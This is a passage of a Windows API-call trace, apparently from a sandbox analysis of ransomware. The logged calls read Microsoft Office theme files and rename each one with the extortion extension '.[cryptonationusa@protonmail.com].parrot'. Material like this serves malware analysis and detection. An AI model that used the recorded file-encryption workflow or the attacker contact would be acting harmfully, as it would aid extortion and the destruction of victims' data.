nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.965] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.966] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c2, lpOverlapped=0x0) returned 1 [0158.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.966] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.970] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.970] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.972] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.972] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c1, lpOverlapped=0x0) returned 1 [0158.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.972] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.972] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.975] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.976] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.980] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.980] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3bf, lpOverlapped=0x0) returned 1 [0158.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.980] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.980] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.983] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.983] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.985] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.985] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c0, lpOverlapped=0x0) returned 1 [0158.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.985] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.998] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.998] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.999] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.999] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c0, lpOverlapped=0x0) returned 1 [0158.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.000] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.000] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.003] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.003] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.005] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.005] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c3, lpOverlapped=0x0) returned 1 [0159.005] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.005] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.005] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.005] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.005] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.010] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0159.010] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xeaf268a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xeaf268a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.011] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeab947a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADJACE~1.PAR")) returned 1 [0159.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0159.012] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0159.013] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0159.013] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.014] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0159.014] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0159.014] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="ADJACE~1.EFT")) returned 1 [0159.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0159.015] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.015] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.016] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.016] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5261, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5261, lpOverlapped=0x0) returned 1 [0159.017] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.018] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.018] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.018] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.019] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.022] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.022] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.023] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.024] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6ae5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6ae5, lpOverlapped=0x0) returned 1 [0159.025] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.026] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.026] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.026] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.032] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.032] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.033] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.033] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x354c6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x354c6, lpOverlapped=0x0) returned 1 [0159.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.078] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.089] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.089] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.091] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.091] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbf81, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbf81, lpOverlapped=0x0) returned 1 [0159.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.097] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.099] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.103] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.103] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.104] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.104] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x581a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x581a, lpOverlapped=0x0) returned 1 [0159.105] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.121] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.123] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.127] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.127] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.128] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.128] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x696d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x696d, lpOverlapped=0x0) returned 1 [0159.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.131] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.136] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.136] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.137] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.137] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x96e87, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x96e87, lpOverlapped=0x0) returned 1 [0159.142] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.160] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.181] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.188] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.188] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.190] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.190] 